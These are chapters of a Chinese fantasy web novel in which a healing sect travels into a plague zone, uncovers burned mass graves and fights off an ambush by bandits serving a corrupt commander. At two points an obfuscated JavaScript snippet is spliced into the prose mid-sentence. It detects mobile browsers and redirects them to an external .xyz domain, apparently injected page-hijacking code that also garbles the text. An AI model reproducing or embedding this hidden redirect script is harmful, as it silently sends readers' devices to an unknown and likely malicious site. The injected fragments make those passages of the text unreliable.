花沐雨递来左腕,川连再次把过脉,点头道:“并没有什么变化。灵气空空还能施展法门,你那门功法不需要灵气催动吗?”说完,意识到涉及到功法细则,恐她不便透露,川连忙补充,“若是不方便的话,不告诉我也行。” “没什么不方便的。”花沐雨道,“想必你也能看出,我如今为《万兵谱》根骨重塑化身。修习《万兵谱》有成,则可以幻化和号令天下兵器,寻常兵戈不近其身;若身陨,也有机会借自己的兵器重新化身。如能借《万兵谱》成功重新化身,《万兵谱》对其根骨的锻造更上一层,一般兵器随心变化,再无顾忌。” 川连感叹:“如此看来,《逢春决》中对《万兵谱》的记载仍不全面。只是我一直有一点不解……或许你听过‘俯首造化却一衍’吗?” 传言世界之初、混沌未开,盘古斧开天地,万象聚集,幻化大荒山群圣,是为天生神族。 三千年前,大荒群圣销声匿迹,那时的天帝作为凡人开创了灵气吐纳修行之法,衍生造化,创建王道,于主从山证道飞升,从此据守东天。 千百年过去,王道功法随着天帝证道而法天地。天帝之后的修行者在灵气吐纳修行之法的基础上加以演化,创建出种种不同的功法。大衍之数五十,其用四十有九,后世创建功法的人都会对自己所创的功法做一些自己的限制,却此一衍,为造化俯首,以敬天帝。 “就比如修习《逢春决》的人将无法再并行修习其他强攻击性的功法,若要强行修习,则《逢春决》自废。”川连道,“《万兵谱》威力如此巨大,甚至可使人起死回生,但各方看来,似乎并没有与之对等的限制,这似乎不太合理。万法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294787|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万门无不基于灵气,而你如今没有灵气却可施展法门,似乎也不太合理。” 花沐雨道:“北境谢氏,除去谢家枪,一共有三门功法。其一《千军令》,其二《万兵谱》,其三甚少为人知,叫《生民谏》。你可曾想过,在凌虚界,普通门派有一门功法即可立足,但为何北境谢氏却没能成为凌虚界顶门大派,而是寄留人间,创建雪国?” 川连思索片刻:“这几门功法和人间有什么关联吗?” “猜得不错。”花沐雨道,“《千军令》《万兵谱》《生民谏》,从名字就能看出,此三种功法和人间的关联太紧密了。但这只是其一。你再想,寄留人间也罢,人间的其他国家可一件传世的功法宝器都没有,不过普通凡人,为何雪国还不统一人间,而是屈居平堂山以北呢?” “因为这几门功法受限于平堂山之内?”川连疑道。 “这回你倒是猜错了。” “那是为何?” 花沐雨便为他从头说起。 “千百年前,谢氏先祖开创《千军令》《万兵谱》和《生民谏》。这三门功法并不以灵气为基础,而是基于人本身筋脉、骨血、心气、意念来运转。只是先祖在功法上加了限制,除了谢氏血脉外,他人无法感应,更无法修炼。” 花沐雨此话便是直言告知川连自己实属谢氏血脉,川连静静听着,并未多问。 “那时修士和凡人还未分界而居,作为开创者,谢氏先祖曾凭借自己所创的功法所向披靡,即便是修士,在谢家枪前也要退一射之地。然而就在谢氏即将一统人间之时,先祖暴毙,原因不明。后人推测,他是受《生民谏》反噬,以至于无法利用《万兵谱》化生。从此《生民谏》被封存,谢氏族中再无人修习此功法。即便如此,自先祖时代之后,谢家人才凋零,与《千军令》和《万兵谱》有感应的谢家人也不过寥寥。” 川连恍然:“难怪,谢氏功法大成后威力巨大,但极难修炼。若只是入门或小有所成,恐怕并不能发挥特别多的威力;若修炼到大成,有谢氏先祖前车之鉴,恐怕也是危险重重。” “如今先祖时期的真相已难以考证。”花沐雨道,“这两门功法虽仍存世,但名存实亡。或许它存在限制,但没人知道,更没人记载。” 言至此处,她话锋一转,语气陡然嬉笑起来:“不过倒也无妨。先生面前就活生生站着一位《万兵谱》化生成功的人。小南国对我有救命之恩,有关《万兵谱》修炼种种,我定知无不言,好叫你尽早完善《逢春决》的记载。这可绝对是上下三界头一份。” 川连仍旧担忧不已:“我有一言,小师叔莫怪。遍观三界,依灵气吐纳修行才是正道。修仙养身,结发长生。谢氏这样近损耗人体的功法,妖异、乃至邪性,既然没能流传下来,恐怕正是因其有违天道,理应早早封存。您这次能成功化生,几乎可以说是撞了大运,但好不好的,到底福祸未知。凛岳的《寒山剑法》已然万分强悍,常人能得其一便也足矣。您日后必要加十分小心,能弃修《万兵谱》最好,如若不然,也断断不可急功冒进。” 如此说着,川连更加不放心,连连问她可有气血损耗,硬是又给花沐雨把了一回脉才安心。 为安他心,花沐雨任他检查着,安抚道:“左不过也已经如此了,先生不必为我惦念。” 8. 平林远行客 是夜,平堂山外,一匹快马连夜赶往扈陵城。 自扈陵瘟疫盛行以来,情况凶险异常,当地的官员与驻守的将士相继倒下,逐渐无力维持地方管理。 为了防止动乱,也为了防止灾民流散,姜国皇室派遣两营禁军共一千人镇守此地,维持治安,叫扈陵百姓不得随意出入。 扈陵城墙外清理出了大块的空地,几丈处新挖了一人多深的壕沟,禁军就在壕沟外安营扎寨。壕沟外拦着一道木栅,壕沟上只有一座吊桥可供通行。 此时月上中天,扈陵城墙高耸,城门乱敞。 壕沟上的吊桥高高收起,皎洁的月光下,壕沟至城墙中间的空地上倒着一具叠一具的尸体,尸水和石灰混在一起,流了满地。尸体身上扎着弩箭,临近壕沟栅栏处更是尸体堆积成山,有几只手徒劳地穿过木栅的空洞,手上是大块大块的黑斑。 壕沟外,禁军营地灯火通明,秩序井然。来人策马入营,径直来到主帅帐前。 “统领!” 主帐外传来通传声,两营禁军统领肖元影将手中的账簿压在桌旁的书册下,扬声道:“进!” 待看清来人是谁,肖元影瞟了一眼帐外卫兵映在营帐上的影子,朝那人招了招手。 那人三两步来到他案前,叩首低声道:“属下刘义,叩见统领。”说着,刘义从怀里掏出一张对折的纸条,为肖元影双手呈上。 肖元影抖开纸条,一目十行地看完,面色便阴沉了下来。抖手将纸条摔在了刘义脸上,他沉声道:“解释。” 刘义连忙叩头,小声而快速地说:“袁家递的名簿上一共是三十四口,放他们出城时吴谦也按照名簿查过了,确是三十四口无疑,当初也是按三十四口收的钱。然而到我们奉命清理之时,属下清点他们随身的箱笼,翻出来好几身女童的衣服。属下核对再三,确定找齐了三十四具尸首无疑,名簿和尸体中都并没提到还一个女童啊!定是那袁家经商狡诈,想要省一笔银子,偷偷藏了一个孩子出城!” 肖元影俯身揪起刘义的领子,咬着牙压低声音说:“就算是名簿有误,我给你两百个人,你怎么会放跑了一个孩子?!” “统领恕罪。”刘义心中大恨。那吴谦做着收钱放人的轻松活计,还查漏了人,眼下统领不分青红皂白,错处都落到自己身上,他如何肯认,急忙分辨道,“许是当时天黑,小孩身量又小。属下都是按照吴谦给的名簿行事,谁料名簿有错,发现时已经晚了啊!” “两百个大活人,能让一个孩子跑了?”肖元影狠声道,“出去寻人的人也丢了,你们吃的是狗屎吗?!” “统领恕罪!”刘义低下头。 肖元影将他搡开:“查。但凡见过这个孩子的,一个活口都不能留。若是走漏了风声,太师怪罪下来,你我十颗脑袋也不够砍的!” “是。”刘义连忙重新跪下。 肖元影合上眼,以手扶额,长长地呼出一口气,待到再睁开眼时,脸上的狰狞已经消失不见了。他伸手去取落在地上的纸条,离得有点距离,刘义赶紧将纸条捡起,送到肖元影手上。 肖元影将纸条在烛焰上点燃,慢慢道:“解决完这个孩子,你们就回来吧。金师来信,凌虚界的仙师就要到扈陵义诊,我们得伺候好了。” “属下遵命。” 纸条在手中燃尽,肖元影搓搓手指,俯身凑在刘义耳边轻声道:“回去告诉你手下的兄弟,要是我们做的事传到了金师,我死,你死,我们都得死,知道么?想活命,就紧着点你们的皮。” “属下明白。” 清早的山风带着凉意,吹得一夜好眠的小南国众人神清气爽。 不像昨天下午那样蔫蔫巴巴的,一早起来,广丹和其他女弟子们都活力四射,叽叽喳喳地聚在一起聊天。 卜芥也精神了许多,坐上车架,招呼广丹道:“喂,上车准备走了哎!” “来了!” 作别小姐妹,广丹提着裙子朝这边跑过来,拉着卜芥的手上车坐下。 花沐雨在后面关押着匪徒的车上坐镇,如今她们这辆车上坐的是南星、丹砂、广丹和茜君四人。南星带着丹砂和茜君早就已经在车上坐好了,只等广丹一个。 虽然坐了一辆车,但茜君还是瞧不上丹砂,从不正眼看她,也一句话都不跟她说。丹砂泰然,茜君不理她,她也不理茜君。倒是广丹,一上车见到茜君,脸上的笑容就收了。 她白了茜君一眼,一甩裙子,坐到丹砂身边,语气夸张地说:“又要坐一天了。第一次坐这么久的车,可真累啊。” 茜君瘪起嘴,往南星怀里挤,只留给广丹一个后背。 南星拍拍茜君,没把小孩子之间的别扭当回事儿。 在众人的警惕之下,之后的路途一直平安无事。 前路的视野逐渐开阔,第二日下午,车队终于来到了平堂山南山口附近。南山口有一块刻着“平堂山”三个大字的石碑,走过这块石碑,就算是出了平堂山。 望着远处连绵不绝的绿色,连卜芥都松了一口气。 “总算到头了。”卜芥叹道,“我感觉已经一辈子没见过绿色了。” 南星掀着帘子向远处眺望:“一道石碑而已,前后景色竟有这样大的不同,人间真是无奇不有。” 不同于平堂山上的燥热难耐,森林中气温适宜,空气中和顺的水汽扑面而来,叫人心旷神怡。 一扫连日赶路的阴霾,一进树林,广丹就下了车,和其他师姐妹一起在车队四周边走边玩。 眼见天色渐晚,车队停下,准备在林中过夜。 “明天早上起来,再往南走三五里地,就差不多出了这片森林。森林外到扈陵城中间还有一片小村子,我们沿这条路走最快。”借着火光,路通在地图上给川连等人指道。 “约莫是一天半的路程。”卜芥道,“明天早点启程,后天中午就能到了。” 路通等人都无异议,川连又道:“舟车劳顿,叫大家这两天抓紧时间好好休息,到了扈陵可能就没机会像这样睡个完整的觉了。”说罢,又吩咐石耳,“再传信给川断,告诉他我们明天就能到扈陵了,问他那边情况怎样。” 之前在山上寸草不生,一行人全靠干粮充饥。而今到了林子里,南星迫不及待地采了很多野菜回来。 广丹和几个师姐妹疯跑够了,心情愉悦地坐回篝火边。 水萍不住地隔着裙子抓挠脚踝:“我好像被蚊子咬了,进了森林是舒服,但蚊虫也多了起来。” “我也被咬了,还正在脑门儿上!”白英凑过去,叫她看自己额角那个被掐出十字的红包。 众人哈哈大笑,水萍又问广丹:“蚊子不咬你吗?” “我带了丹砂送我的荷包。”广丹骄傲地露出腰上挂的香囊给她们看,“下午的时候丹砂特意给我的,她配的药,可以驱赶虫蛇。” “啊……”话题带到丹砂,气氛有些微妙的停滞,一时间众人都不知该如何继续玩笑下去。半晌,白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294788|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 英讪讪地圆了一句:“好想也有个人能给我做香包啊。” 远处的南星笑着喊道:“你们快别折腾丹砂了。那荷包可金贵,咱们这次没带,那些药材都是丹砂自己备在药箱里应急的,统共就够装一个,她自己都没有呢。” 众人这才笑开,话题又转到别处去了。 广丹转头问远处的南星:“师姐,开饭吗?” 南星回答道:“马上等菜好了就可以开饭了!” “师姐!”水萍凑趣地,又大喊,“我想吃肉!” 路通正在南星旁边,闻言道:“有野菜就不错了,哪儿给你找肉去!” “林子里没有兔子野鸡什么的吗?打一只啊。”广丹喊道。 “君子远庖厨。”石竹拿着两把野菜,摇着头说道,“君子之于禽兽也,见其生不忍见其死,闻其声不忍食其肉。*” 众人又是一阵大笑。 花沐雨拿着水囊,远远地坐在车队外围的树上,听着他们轻松地喊话,也露出了笑容。 却不知欢笑声传到隐蔽处,玩闹的情景落入了窥伺者的眼中。 “统领,查到了。”吴谦来到主帐,“袁家夫妇是扈陵当地的富户,生意做得不小。二人只有一个女儿,叫袁茜君,并不在报上来的名册上。” 肖元影抬眸瞥他一眼,吴谦立刻跪下叩头:“属下失职,统领恕罪。” 肖元影将奏册扔到书案上:“刘义还在善后,你这次捅的篓子不小,自去向太师请罪吧。” 一夜无话,第二天一早,车队再次启程。行了半日,树木逐渐稀疏,依稀能望见前方似有村落。 “先停一下。”川连道。 “吁——”路通勒住马,回身问道,“怎么了师叔?” 川连道:“马上要进入疫区了,去叫大家把面罩和手套都戴上。一会儿到了村落附近,若非收到通知,其他弟子不要下车。” “是。” 按照川连说的吩咐下去,车队众人都紧张起来,纷纷重新整装。 “离村落还有多远?”南星一边给茜君系面罩一边问。 卜芥道:“已经能看到了,估计再走一炷香的时间就能到了。” 南星于是回头嘱咐同车的几个孩子:“扈陵这次的瘟疫凶险,此前云游的川断师叔发现后传信来报,说染病者呕吐不止,同时身上会出现大面积的黑斑,七窍溢血。前面不远就是有人的村落了,你们一定要时刻戴好面罩和手套,不要随便摘下来,更不可到处乱摸,或者直接接触病患的血液和晦物。” 说完,她特意转向茜君:“尤其是你,姐姐们都学过,只有你不通医术,也没有灵力护体,所以一定要在车上乖乖坐好,不要乱跑下车,好吗?” 茜君点头。 “先去前面看看吧,只要保护得当,也不会轻易就得了。”丹砂知道广丹手上容易干,又爱撕倒刺,常常会给自己搞出小伤口来,又对广丹道,“把手先伸出来我看看。” 广丹依言摘下手套,摊着手伸到丹砂面前。 丹砂握着她的手翻来覆去看了一遍,所幸此前的指甲边缘的伤口都已经结痂,也没有新的破口,于是叮嘱道:“不要再撕倒刺了。手上没有伤口还好,要是有伤口,即便戴着手套,也要离得远远的。” 广丹笑呵呵地:“我肯定注意啦。离得远远的我们还怎么照顾病人啊。” 各处收拾停当,小南国一行人正式离开平堂山脚下的森林,来到扈陵城周边的村庄。 9. 百十里枯骨荒村 从平堂山脚下的森林中走出去后,若要去扈陵,需要从几个村庄中穿过。 一山之隔,扈陵蓝关两地村庄风貌大有不同。 扈陵居平堂山南,光照充足,冬无严寒,雨水适宜,气候湿润;蓝关居平堂山北,光照少,气候阴冷,再加上平堂山自山火后寸草不生,蓝关气候日益干燥,常有沙尘。 从更大的范围来看,扈陵属姜国。姜国又称右中州,东部和北部都被赫连山与平堂山环绕,聚拢了西南向充沛的阳光和水汽,自古就是人口众多的丰饶之地。同时,平堂山隔开姜国与雪国、赫连山隔开姜国与北蛮,北蛮与雪国贫瘠苦寒,也是这两座山天然地阻挡了北蛮与雪国的南侵。 如此而来的,不像蓝关的建筑那般厚墙、小窗、平顶,没了保暖的需要,也为了便于排水,姜国的民居多为坡顶,墙体较薄,窗户开得很大,村庄的排列也较为松散。 这样的差异花沐雨不是第一次见,但每次见到时都会觉得新奇。 离森林最近的村子叫李家村。花沐雨曾路过此地两次,村中大姓李,约莫有三五十户人家错落分布,家家沾亲带故,阡陌交通、鸡犬相闻。车队在林中时,就能远远看到李家村中的烟火袅袅升起。 一路走来,村中屋舍俨然。大抵因为此处是出山区后第一座村子的缘故,路边开了几家卖茶水饮食的店,酒招飘荡,显然不算荒废。 然而太安静了。 从入村以来,往来道路上一个人影都没有,四下鸡犬寂然无声,车上众人扒着车窗朝外看,都不由得心中纳罕。 卜芥透过篱笆打量路边人家的院子,忍不住嘀咕:“这家鸡窝还在,但是鸡呢?”说罢,他朝屋里喊道,“哎!有人在吗!” 车里的广丹赶紧制止他:“别喊了别喊了,怪瘆人的。” 丹砂扶着车帘:“你们看,有石灰。” 众人于是细看,那户人家的屋侧和鸡棚边上果然都有石灰白色的痕迹,只不过被黑色的污迹遮盖了大半,看着并不明显。丹砂一路留心观察,见几乎家家都有用石灰大面积消毒的痕迹,心知情况可能不妙。 “村子都空了……”卜芥喃喃自语。 南星心中疑惑:“从林子边上看这边有烟火,应该还有人在住啊?” 从方位看,烟火燃起的方向应该是村落最后方的位置。车队从前往后穿过村落,绕过最后一排屋舍,终于遇到了之前在高处看到的那缕“烟火”——只见村落后方的路边挖了一处深坑,深坑四周宽宽地撒了一圈厚厚的石灰。坑中已无明火,但尚有灰烟升腾。 打头的车首先停下,路通放下缰绳前去查看,回来之后冲川连摇摇头——灰烟升腾下,是满坑几乎烧净的累累白骨,猪鸡猫狗并大小人骨皆在此处。 川连放下车帘:“走吧,此地没人了。” 紧随其后的两三辆车也看到了坑中的情况。广丹发出小声的惊叫,南星下意识地想捂住茜君的眼睛,却见茜君跪坐在车座上,平静地朝坑里看去。 南星去抱她:“茜君下来,我们不看了。” “姨姨,”茜君握着南星的衣袖,指着坑中喊道,“那是我娘!” 南星常年照顾年幼入门的弟子,晓得年纪小的孩子常常有些沉浸在自己世界里的臆想和煞有介事的胡言乱语,闻言只当茜君说了什么吓人的孩子话,抱过她哄道:“咱们不看了。” 茜君乖乖被南星抱着,稚气地说:“真的是我娘。我娘说以防万一,在我们的鞋底里都纳了金子。那边有金灿灿的东西,我看见了,那是我娘。” 南星诧异地看着茜君,茜君静静地与她对视,朝她点点头。南星扒着窗户去看,借着车外的日头,坑底金光一闪。啪地坐回来,南星心底涌上一股凉气,急对广丹说道:“把窗帘放下。”又叫卜芥让开,自己要下车。 卜芥让开位置,南星护着茜君的脸跳下来,叫卜芥看好广丹和丹砂,没敢朝一旁的尸坑多看,直跑到最前面的车上,拍着车厢叫住川连。 “出什么事了?”川连问道。 南星将茜君所说复述了一遍,川连和石耳路通等人面面相觑、心中大震。 花沐雨也因停车赶到前面来。她先是看到了焚烧过后的深坑,又见南星脸色不对,一问之下不由得皱眉。 她拍拍南星的胳膊以作安慰,又问她怀里的茜君:“告诉姨姨,你娘缝进鞋底的金子长什么样子,一共缝了几块?” “像钱币一样,圆圆的,沉甸甸的。”茜君答道,“我爹娘和我鞋子底下都有,一人四块,一共十二块。” 花沐雨安抚地看了南星一眼,叫南星先带着茜君去后面找茜君换下来的鞋子,而后自己到坑边细看,果真在灰堆里找到了茜君所说的金元。若不是布料被火烧尽,这些金元也不会露出来。只是金元被灰烬挡住大半,多余的看不清楚。 “确实有金灿灿的东西。”花沐雨来到川连车边,对里面的川连说,“得需找几个弟子来清理一下,东西被埋住了。” 于是川连叫弟子来清理尸骨,八枚金元都埋得不深,很快便全部找到。如茜君所说,南星从她换下的鞋子里拆出了金元。新拆出来的金元与坑中捡出来的金元对比,二者一模一样。 川连原想将尸骨安葬,但坑内焦尸难以计数,若要全部收敛,或是从中分辨哪些是茜君的家人,几乎是不能够了,只能无奈放弃。 清理尸坑的弟子在一旁清洗,另一侧,花沐雨说道:“想来是匪徒杀完人之后,借瘟疫遮掩,将尸体抛在此处焚毁。” 在场的川连等人默默点头。花沐雨又问茜君:“你可还记得,当初是在何处遇到的匪徒?” “就在前面的路上。”茜君说,“旁边是小溪。我是沿着我们来时的路跑上山的。” “你家一共有多少人出来躲灾你还记得吗?”花沐雨道。 茜君摇头:“我不知道一共多少个,有好多人。” 花沐雨暗自叹息,从南星手中接过茜君,将她抱在怀里颠一颠,而后柔声问道:“你父母是做什么的呀?你家平时有没有什么仇家?” “我爹开酒楼,买卖香料干货。”茜君一时没想到自己曾说过自己家住在村中的话,自相矛盾起来。又问花沐雨,“仇家是什么?” 花沐雨道:“就是你平时有没有见你爹娘和谁发生过争执,或者听他们说过谁的坏话?” “我娘骂我六叔不好,一提到六叔就跟我爹吵架,说我爹什么都帮着他的几个兄弟,但是我们用到的时候,他的那几个兄弟没一个出头的。”茜君道,“是我六叔杀了我爹我娘吗?可是他家跟我们一起跑出来,他们也死了。” 花沐雨抱着茜君:“你们是怎么跑出来的?” 茜君张嘴又顿住,而后道:“就是收拾东西,然后就跑出来了。” 花沐雨看看南星,又看看川连,问茜君:“不用怕,你告诉我们,我们不会到处乱说的。” 茜君便低头不讲话了。 “你家住在扈陵城里,对不对?”花沐雨问。 茜君还是不说话。 花沐雨摸摸她的脑袋:“你说的跑出来,是你们一大家人一起从扈陵城中跑了出来,对不对?” “我爹娘不让我跟任何人说。”茜君被问烦了,开始在花沐雨怀里挣扎着要下去。花沐雨无法,只好先放茜君下来。茜君一溜烟跑去找南星,南星还要问,花沐雨冲她使了个眼色,南星便 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与此同时,他心中同样担忧起音讯全无的川断。他这个师兄行事不拘一格,也不知道现在到底怎么样。 茜君所说的他家人遇害的路段是两个村中中间的地带,距离前后两个村子都有一段距离,周围都是荒地。 车队继续前行,很快途经此处。花沐雨和川连等人下车查看,却并未发现凶杀痕迹。举目四望,唯有微风阵阵、芳草萋萋,当真是一派田园闲适景象。 “可能是痕迹被打扫过了。”花沐雨道,“或者是茜君记错了也不一定。” 川连点头称是。 已经进入到匪徒的活动范围,考虑到车队中两个直接的目标,一个是茜君,一个是那两个俘虏,以防万一,众人商议把那两个贼人绑在川连的车后面。川连所乘的车是头车,再让花沐雨坐在茜君南星她们的第二辆车前,这样两头都照顾得到。若是真有贼人来犯,其他弟子也可专心自保,以免顾此失彼。 李家村是出平堂山遇到的第一个村落,若要到扈陵,车队接下来还要穿过陈寨、王洼、曲家村等大小十来个村落。川连等人原以为无论如何都能遇到一两个村民打探下情况,却未想,车队从上午走到傍晚,一路途经七个村落,竟都已成空村。石灰、尸坑,每个村子的景象都如出一辙。 天色渐暗。此前检查情况时耽搁了时间,以至于脚程比预计得慢了一截。他们原定是赶一天路,傍晚时可到陈屯休息。但现在太阳已经西斜,他们还没看到陈屯的影子。况且以这一路赶来他们所看到的情况,陈屯是否如他们早上计划的那般适宜休整还未可知。 路通请示过川连,川连叫车队趁天亮再走几里,而后找个合适的地方休息。这决定本是正常,只是地图上标注了这条路西边是河沟、东边是荒地,却没标注再往前走几里后东边已经被开垦为农田。 地里的粮食长势喜人,过路的人如何能忍心轧坏庄稼。川连心中打鼓,但想着自己这一行都是修士,总不会怕一伙儿普普通通的人间匪徒,于是车队不得已又往前走了一段。 这时天便已经黑了。 头车的马匹越走越慢,路通挥了下鞭子,马嘶鸣一声,停下了脚步,挣着辔头往斜里走。路通不明所以,控制住马匹,跳下车一看,才发现前方路被挖断了。 车一停,花沐雨就跟着赶了过来,见到路被挖断,心知不好。正要去提醒其他人,耳中忽然传来嗖嗖几道破空声。 路通不知道那是什么,还疑惑地朝发出声音的地方看去。电光石火之间,花沐雨一把将他摁下,回头高喊:“小心劫道!” 10. 暗夜行寒光冷刃 一切不过转瞬,花沐雨一心三用,一边护住路通,一边提醒车队中的众人,另一只手幻化飞石,将树丛中射出的箭矢拦下。 那箭矢是朝着马匹去的,小南国的车队拖得太长,花沐雨听声辩位,只拦住了队伍前的几道,但听后面传来阵阵马匹的嘶鸣,夹杂着人声惊呼,显然贼人前后左右都有埋伏。 后面的马匹受惊,嘶鸣着暴冲,看车的弟子拉不住,车队乱作一团。南星抱着茜君,猝不及防之下险些滚下车座,多亏丹砂和广丹将她扶住。 花沐雨认出被打落的是一种装填在箭筒里射出的弩箭,这种武器类似□□,优点是力道大、速度快,能造成的伤害更大,缺点是发射后需要重新装箭,中间有一定的空白时间。 她不知道敌人一共有多少人,也不知道他们的弩箭还有多少,在贼人重新装箭的片刻平静中,花沐雨提着路通,三两步将他塞回车上。 “都躲到车厢里去!不要靠近车窗!抓牢坐稳,小心颠簸!” 怕后方的人听不清楚,花沐雨一路喊着,从队伍前头向后跑去。长枪铮铮钉成一圈,将各个车厢连并马匹一并圈住。前有壕沟、侧有河谷,若是放任马匹带着车厢横冲直撞,对车中的小南国弟子同样危险。 说时迟那时快,不过片刻,第二波弩箭已经袭来。弩手装箭速度有快有慢,从第二波开始便不再像第一波那样整齐。 花沐雨跑回车队中段,提起一口气,攀着车盖翻到车顶上,将弩箭一一击落。与此同时,银光如雨朝两侧的树丛中落下。有树丛的遮掩,并不知道射中了多少。 窗外叮叮的铁器碰撞声不断,丹砂稍一抬头,就被卜芥大力摁下。 几人都趴在车厢底部,卜芥将丹砂和广丹护在怀里,南星也将茜君护在怀里。 “不要命了?”卜芥低声喝道。 “只有她一个人能行吗。”丹砂道,“听声音敌人有很多。” 卜芥怒道:“那也不用你管!” 箭矢未停,树丛中一声哨响,顷刻呼声震天,穿着夜行衣的人从车队四周涌出。花沐雨一看他们的人数,便知今天很难善了。 贼人脚下落下成排的箭矢,银光照亮幽夜,花沐雨提枪,站在车顶高声喝道:“这里是凌虚界的车队,各位英雄此时退去,我还可既往不咎;若是再敢动手,别怪我手下无情!” 此话一出,黑衣人的行动立时犹豫了。然而不等她再劝,破空声又至。花沐雨下意识一闪身,弩箭擦着帏帽飞过。 树丛中再次响起哨声,这一次,黑衣人都不再犹豫,持弩的贼人也跃了出来,一部分分散开来,跑向各个车厢,一部分汇聚一处,前来围攻车顶的花沐雨。 “大家小心!” 花沐雨提醒一声,矮身拧腕,化枪为剑,在空中划出一道银弧,一招《寒山剑法》中的徒影随身。她的剑没开刃,也无灵力加持,只凭荡开的剑气将一众试图登车的贼人震晕。 贼人有如蝗虫,除之不尽。花沐雨并不再多言,招手间一道银光破空而出,直奔哨声传出的地方去。那银光快若流星,气贯长虹,躲在树后发号施令的刘义还没反应过来,就觉肩头一凉,银枪豁然洞穿树干,直将他钉在树上。 抬手帮其余车辆缓解攻势,花沐雨自车顶跃下,足尖在一名围攻的贼人背后一点,将他踢得一头撞到车厢上。 借此一力,花沐雨飞身来到树前,左掌化剑,隔着树反手刺去,同时右手抽枪,却觉枪上重量不对。果然,抽出的枪尖上只有零星血迹,哪见本该本钉在树后的匪首? 回身砍晕一个追过来的贼人,花沐雨眯眼细看,在河滩上找到一个蹒跚移动的黑点。正要去追,就听车队方向传来女弟子的尖叫。花沐雨一惊,登时什么匪首都顾不上了,立刻转身回救。 枪阵能挡得住贼人,但挡不住弩箭。枪杆在手中颤动,花沐雨枪出如龙,飞速循声赶回车边,却见那车边泛着一圈雾气,车帘伴随着尖叫,一股一股飞出药粉。被挡在枪阵外的贼人全部软倒,花沐雨摸摸鼻子,连忙屏息离开了。 失去匪首的指挥,贼人虽多,但在飞针毒药迷药以及花沐雨毫不留手的攻击下也很快被全部解决。有三五贼人想跑,没出几步,就被花沐雨以枪钉在地上。 风波消散,花沐雨敲窗问小南国的弟子借来麻药,先给倒在地上的贼人挨个儿撒了一圈,才撤掉枪阵,叫小南国的弟子们下车整理。弟子们过去看时,才发现那些横七竖八倒在地上的贼人几乎都是晕了过去,脖颈上一道红痕,只有远处和几个想跑的贼人那边见了血。 “你一个人都没动?”丹砂奇怪地问。 “他们可能也是听命于人。”花沐雨道,“之后封了穴道,自交给他们的官府去审理吧。” 行动慢的人也陆续出来了。川连扶着路通的手,略带踉跄地走下车;广丹手里攥着药包,这时才敢哭出声;那个一直尖叫的女弟子花沐雨也见到了,她不知道她的名字,只见她和广丹石耳等几个涕泪横流的弟子聚到一处,头对着头,一边啜泣一边说着“吓死我了”之类的话。 还算镇定的男女弟子们自发打扫起战场,花沐雨背着手守在一旁,警惕有人假装失去意识,或者贼人去而复返。 南星扶着川连走到花沐雨身边,川连一揖到地:“多谢师叔今日出手相救。” 花沐雨连忙去扶,又下意识缩回了手,只虚虚托着川连的胳膊:“先生不必如此,这本就是我应该做的。” 不过是这一会儿没见,丹砂总觉得花沐雨的身形单薄了一些,奇怪地问道:“你可有受伤?身体可有不适?” 花沐雨将双手背回身后,笑道:“无事,他们没能近我的身。” 她本就苍白,丹砂看面色看不出来,心中疑虑难消,伸手想要探她的脉象。 花沐雨微微往后一躲,温声道:“这会儿手上脏,我先去洗个手再给你号脉。” “不必了。”丹砂拦住转身欲走的花沐雨,问道,“你觉得没事就好。我怎么看你比白天还瘦了一些……” 花沐雨惊讶地笑道:“有吗?” “真的没有影响么?”川连也担心今日一战对花沐雨有什么影响,跟着追问道,“你说你那功法基于人本身筋脉、骨血、心气、意念来运转,但到底是怎么运转,真的不会损伤你自身吗?” 花沐雨启唇,想要搪塞,丹砂抢道:“你的功法会消耗你自己的骨血,所以我觉得你瘦了并不是错觉对不对?!” “应该是错觉吧。”花沐雨尴尬地笑笑,“你未免太小瞧我,这点消耗不算什么,我都没觉得累。” 川连一摆手:“你去把手洗了,我给你看看。”完全是对不听话的病人的语气。 花沐雨只得去溪边,借着清洗双手反复活动按摩,以缓解控制不住的颤抖。待到状况好些,她一边往回走,一边期盼着回去时川连丹砂南星已经去忙别的事情了。结果当然并未如她所愿。 “气血两亏。”川连撂下诊断,不悦地抽开帕子,“我早说了,你那门功法纯粹是邪术。所幸今日事小,若是来日不加节制,它岂不是要把你吸干?!” 花沐雨打着哈哈,任丹砂拉过她的手腕去。 “给她用补气血的药!”川连已经不听花沐雨的话了,回头对南星道,“你给我看着她,一顿都不能落!” 南星应是。丹砂也号完了脉,又用手圈了一下花沐雨的胳膊:“这还没事?以后不许再用了。” 花沐雨只能陪笑,转移话题说道:“今日这一遭,我们虽无人殒命,但有不少弟子都受了伤,马匹也损伤不少,还需一一处理,不然车队无法继续行进。” 提及此事,川连的心情也是一改。看着满地的黑衣人,川连叹道:“我料想到会有这一遭,但万万没想到这些贼人竟然如此猖狂残暴。我还记得年轻的时候随师父下界,那时人间界的百姓无不淳朴而善良,对我等如同对待亲人一般。怎知这些年过去,世殊事异,人间竟对我辈刀剑相向。” 花沐雨一时不知如何回答,却听丹砂说道:“因为自己幸运就觉得人间美好,因为自己不幸就觉得人间不好,人间不会专门为了你改变,人间从来都是这个人间。” 川连沉沉地拍了拍丹砂的脑袋。 夜已深,肖元影甲胄未除,对着灯坐在桌前翻读兵书。 